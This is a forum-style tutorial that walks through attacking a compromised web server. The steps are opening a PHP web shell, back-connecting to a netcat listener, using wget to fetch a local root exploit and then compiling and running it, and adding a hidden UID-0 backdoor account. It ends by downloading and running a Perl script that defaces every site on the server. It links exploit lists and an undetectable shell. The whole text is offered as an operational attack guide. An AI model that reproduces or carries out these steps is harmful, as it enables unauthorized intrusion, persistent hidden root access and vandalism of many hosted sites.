Server Rooting and Mass Deface Tutorial

Hi this is AV 

in this tut you will learn server rooting+Adding New Root User+Mass deface

This is an detail tut with HQ images

So let's start with things you will need

• 1) Shelled website
• 2) Local root exploit
• 3) NetCat
• 4) Mass Perl script

Chapter 1 - Gathering informations


Open up your .php shell on a hacked webserver.
I have mine for an example




Now you need to check what kernel your slave is using...
It should be something like


Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686


Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.


Here's the list of exploits
http://pastebin.com/A0sUhhrz

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.


Chapter 2 - Backconnecting to the server
For this you will need:


1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)


So open your netcat and type:
-l -n -v -p 443
Hit "Enter"


Now it should write "listening on [any] 443 ..."
Good.
Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".



Now it should connect to your netcat 
I got something like this



Chapter 3 - Downloading exploit and executing it
Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits...8-164.zip) and go back to your netcat and type:

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

If your exploit is downloaded as anyrandomname.c you must compile it

Do do that first download that exploit and then type:

gcc anyrandomname.c -o anyrandomname

And our exploit is compiled. (If you get errors when compiling then find another exploit)

If you downloaded your exploit in zip file anyrandomname.zip type:

unzip anyrandomname.zip


Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

chmod 777 yourexploit'sname
With common sense where i typed "yourexploit'sname" you will type your exploit's name.

And one last final step is to run our exploit
./yourexploit'sname


To check if you got root type

id
or
whoami

Mine steps to root


Chapter 4 - Adding root user
Adding new root user is fairly easy
We use this command:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:
Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:
passwd Root2

(Root2 is your username)

See an example

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

id root2
(Root2 is your username)


GNY shell (fud) - http://www.privatepaste.com/074ebe43a4
Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

Mass defacing 

Enter tmp folder after rooting

give the following command

cd /tmp

wget link of site where u uploaded

eg

wget www.abc.com/mass.zip

Then unzip mass.zip file give following command

unzip mass.zip

Then run the perl script by giving the following command

perl mass.pl

You see the above screen after running perl script

see its written how to use it

perl mass.pl /tmp/index.html

First upload your index page some were and get it by giving wget command

eg

wget www.abc.com/index.html

when you do that ull see the following screen

Now run the command

perl mass.pl /tmp/index.html

Too mass deface

Hope every one's doubt will now be cleared on how to root and mass deface a server

pls fell free to comment
